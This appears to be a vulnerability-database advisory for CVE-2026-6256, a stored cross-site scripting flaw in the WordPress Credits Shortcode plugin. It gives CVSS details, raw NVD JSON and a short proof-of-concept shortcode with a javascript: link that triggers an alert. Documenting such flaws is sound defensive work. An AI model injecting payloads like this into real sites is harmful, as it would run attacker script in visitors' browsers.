Security Vulnerability Report
中文
CVE-2026-6256 CVSS 6.4 MEDIUM

CVE-2026-6256

Published: 2026-05-12 09:16:56
Last Modified: 2026-05-12 14:03:53

Description

The Credits Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'link' attribute of the 'credits' shortcode in all versions up to, and including, 1.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Credits Shortcode Plugin <= 1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-6256 Stored XSS --> <!-- Step 1: Log in as a Contributor or higher --> <!-- Step 2: Create a new Post --> <!-- Step 3: Insert the following shortcode into the content --> [credits link="javascript:alert('CVE-2026-6256_XSS')"] <!-- Step 4: Publish the post --> <!-- Step 5: Visit the post page to trigger the alert -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6256", "sourceIdentifier": "[email protected]", "published": "2026-05-12T09:16:55.503", "lastModified": "2026-05-12T14:03:52.757", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Credits Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'link' attribute of the 'credits' shortcode in all versions up to, and including, 1.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/source-shortcode/tags/1.2/credits_shortcode.php#L36", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/source-shortcode/trunk/credits_shortcode.php#L36", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/bbe7beae-2803-463c-83ad-5a58c4a55a65?source=cve", "source": "[email protected]"}]}}